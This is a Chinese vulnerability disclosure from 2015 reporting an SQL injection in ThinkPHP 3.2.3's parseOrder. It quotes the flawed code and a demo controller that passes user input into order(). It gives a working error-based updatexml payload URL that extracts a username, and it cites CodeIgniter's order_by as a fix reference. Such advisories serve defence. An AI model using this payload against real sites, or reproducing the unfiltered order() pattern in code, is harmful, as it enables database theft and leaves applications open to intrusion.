漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:ThinkPHP框架特性引发的SQL注入漏洞
提交时间:2015-11-04 11:14
修复时间:2015-12-17 14:48
公开时间:2015-12-17 14:48
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2015-11-04: 细节已通知厂商并且等待厂商处理中 2015-11-04: 厂商已经确认,细节仅向厂商公开 2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 ) 2015-12-29: 细节向核心白帽子及相关领域专家公开 2016-01-08: 细节向普通白帽子公开 2016-01-18: 细节向实习白帽子公开 2015-12-17: 细节向公众公开
简要描述: ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等
详细说明: 关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。
/** * order分析 * @access protected * @param mixed $order * @return string */ protected function parseOrder($order) { if(is_array($order)) { $array = array(); foreach ($order as $key=>$val){ if(is_numeric($key)) { $array[] = $this->parseKey($val); }else{ $array[] = $this->parseKey($key).' '.$val; } } $order = implode(',',$array); } return !empty($order)? ' ORDER BY '.$order:''; }
当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。 当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。 此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737 在此附上一个常见的demo
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $data = array(); $data['username'] = array('eq','admin'); $order = I('get.order'); $m = M('user')->where($data)->order($order)->find(); echo M('user')->getLastSql(); } }
通过I函数获取内容以后,直接进入SQL。
**.**.**.**/official/thinkphp_3.2.3_full/?order=updatexml%281,concat%280x3a,%28select%20username%20from%20user%20limit%201%29%29,1%29
之前看了一下ThinkPHP的审核情况,某些问题被官方认为是开发不规范导致的。我个人看法是在安全性的前提下,尽量提高程序的灵活性。毕竟大家使用ThinkPHP框架的目的是为了敏捷开发,同时还能减少安全性等问题带来的顾虑。之前听前辈们说过一句话,“一切输入都是有害的”。以此为标准,那么即使向框架内的基础函数输入恶意数据,程序也应该保证能进行识别和过滤。很多框架实际上也是这么做的。
漏洞证明: 修复方案: 这里是CI的order_by函数,这里面做了比较强的限制。稍微牺牲了一些灵活性,但是极大的提高了安全性。可以作为一个参考。
// -------------------------------------------------------------------- /** * ORDER BY * * @param string $orderby * @param string $direction ASC, DESC or RANDOM * @param bool $escape * @return CI_DB_query_builder */ public function order_by($orderby, $direction = '', $escape = NULL) { $direction = strtoupper(trim($direction)); if ($direction === 'RANDOM') { $direction = ''; // Do we have a seed value? $orderby = ctype_digit((string) $orderby) ? sprintf($this->_random_keyword[1], $orderby) : $this->_random_keyword[0]; } elseif (empty($orderby)) { return $this; } elseif ($direction !== '') { $direction = in_array($direction, array('ASC', 'DESC'), TRUE) ? ' '.$direction : ''; } is_bool($escape) OR $escape = $this->_protect_identifiers; if ($escape === FALSE) { $qb_orderby[] = array('field' => $orderby, 'direction' => $direction, 'escape' => FALSE); } else { $qb_orderby = array(); foreach (explode(',', $orderby) as $field) { $qb_orderby[] = ($direction === '' && preg_match('/\s+(ASC|DESC)$/i', rtrim($field), $match, PREG_OFFSET_CAPTURE)) ? array('field' => ltrim(substr($field, 0, $match[0][1])), 'direction' => ' '.$match[1][0], 'escape' => TRUE) : array('field' => trim($field), 'direction' => $direction, 'escape' => TRUE); } } $this->qb_orderby = array_merge($this->qb_orderby, $qb_orderby); if ($this->qb_caching === TRUE) { $this->qb_cache_orderby = array_merge($this->qb_cache_orderby, $qb_orderby); $this->qb_cache_exists[] = 'orderby'; } return $this; }
漏洞回应 厂商回应: 危害等级:中
漏洞Rank:10
确认时间:2015-11-04 18:26
厂商回复: 感谢反馈~该处确实存在隐患问题
最新状态: 暂无